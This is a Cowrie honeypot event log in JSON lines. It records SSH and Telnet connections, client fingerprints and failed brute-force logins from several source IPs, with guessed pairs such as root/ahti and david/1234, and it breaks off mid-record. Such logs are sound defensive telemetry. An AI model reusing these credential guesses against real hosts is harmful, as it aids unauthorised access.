{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:29.587736Z","src_ip":"45.153.34.97","session":"b0fb62bec845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"26","message":"login attempt [root/26] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:29.984757Z","src_ip":"45.153.34.97","session":"b0fb62bec845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":56702,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ea29875295b","protocol":"ssh","message":"New connection: 181.47.9.103:56702 (10.17.0.5:22) [session: 7ea29875295b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:30.331458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:30.337552Z","src_ip":"181.47.9.103","session":"7ea29875295b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:30.481105Z","src_ip":"181.47.9.103","session":"7ea29875295b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:31.074415Z","src_ip":"45.153.34.97","session":"b0fb62bec845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ahti","message":"login attempt [root/ahti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:31.085502Z","src_ip":"181.47.9.103","session":"7ea29875295b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:32.246988Z","src_ip":"181.47.9.103","session":"7ea29875295b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":52138,"dst_ip":"10.17.0.5","dst_port":22,"session":"16448fe7d6c1","protocol":"ssh","message":"New connection: 45.153.34.97:52138 (10.17.0.5:22) [session: 16448fe7d6c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:33.313088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:33.320735Z","src_ip":"45.153.34.97","session":"16448fe7d6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38274,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b9c39217c7f","protocol":"telnet","message":"New connection: 152.42.224.71:38274 (10.17.0.5:23) [session: 5b9c39217c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:33.368327Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:33.406872Z","src_ip":"45.153.34.97","session":"16448fe7d6c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrew","password":"1234","message":"login attempt [andrew/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:33.971700Z","src_ip":"45.153.34.97","session":"16448fe7d6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:35.082938Z","src_ip":"45.153.34.97","session":"16448fe7d6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":37466,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a4f5589cb33","protocol":"ssh","message":"New connection: 192.169.250.238:37466 (10.17.0.5:22) [session: 6a4f5589cb33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:35.846925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:35.851326Z","src_ip":"192.169.250.238","session":"6a4f5589cb33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:35.924126Z","src_ip":"192.169.250.238","session":"6a4f5589cb33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"milagros","message":"login attempt [root/milagros] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:36.245475Z","src_ip":"192.169.250.238","session":"6a4f5589cb33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:37.264769Z","src_ip":"185.10.63.235","session":"f37ce43edb19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:37.320913Z","src_ip":"192.169.250.238","session":"6a4f5589cb33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":52152,"dst_ip":"10.17.0.5","dst_port":22,"session":"595d0c83f017","protocol":"ssh","message":"New connection: 45.153.34.97:52152 (10.17.0.5:22) [session: 595d0c83f017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:37.992306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:37.996551Z","src_ip":"45.153.34.97","session":"595d0c83f017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:38.081352Z","src_ip":"45.153.34.97","session":"595d0c83f017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"1234","message":"login attempt [david/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:38.379347Z","src_ip":"45.153.34.97","session":"595d0c83f017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:39.474185Z","src_ip":"45.153.34.97","session":"595d0c83f017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40924,"dst_ip":"10.17.0.5","dst_port":23,"session":"6883813985e2","protocol":"telnet","message":"New connection: 152.42.224.71:40924 (10.17.0.5:23) [session: 6883813985e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:40.278063Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40940,"dst_ip":"10.17.0.5","dst_port":23,"session":"b34a801c78aa","protocol":"telnet","message":"New connection: 152.42.224.71:40940 (10.17.0.5:23) [session: b34a801c78aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:41.344786Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":39746,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbd28c9e9832","protocol":"ssh","message":"New connection: 45.153.34.97:39746 (10.17.0.5:22) [session: cbd28c9e9832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:42.283582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:42.288490Z","src_ip":"45.153.34.97","session":"cbd28c9e9832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:42.400893Z","src_ip":"45.153.34.97","session":"cbd28c9e9832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1","message":"login attempt [dev/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:42.926540Z","src_ip":"45.153.34.97","session":"cbd28c9e9832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:44.011953Z","src_ip":"45.153.34.97","session":"cbd28c9e9832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":53460,"dst_ip":"10.17.0.5","dst_port":22,"session":"01007a534074","protocol":"ssh","message":"New connection: 159.65.8.74:53460 (10.17.0.5:22) [session: 01007a534074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:46.581441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:46.600918Z","src_ip":"159.65.8.74","session":"01007a534074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":42756,"dst_ip":"10.17.0.5","dst_port":22,"session":"03aec0ed4348","protocol":"ssh","message":"New connection: 103.27.238.114:42756 (10.17.0.5:22) [session: 03aec0ed4348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:46.684419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:46.688921Z","src_ip":"103.27.238.114","session":"03aec0ed4348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:46.834364Z","src_ip":"159.65.8.74","session":"01007a534074","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":39754,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ce3e8c104c","protocol":"ssh","message":"New connection: 45.153.34.97:39754 (10.17.0.5:22) [session: 70ce3e8c104c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:46.870832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:46.880466Z","src_ip":"45.153.34.97","session":"70ce3e8c104c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:03:46.968562Z","src_ip":"103.27.238.114","session":"03aec0ed4348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-s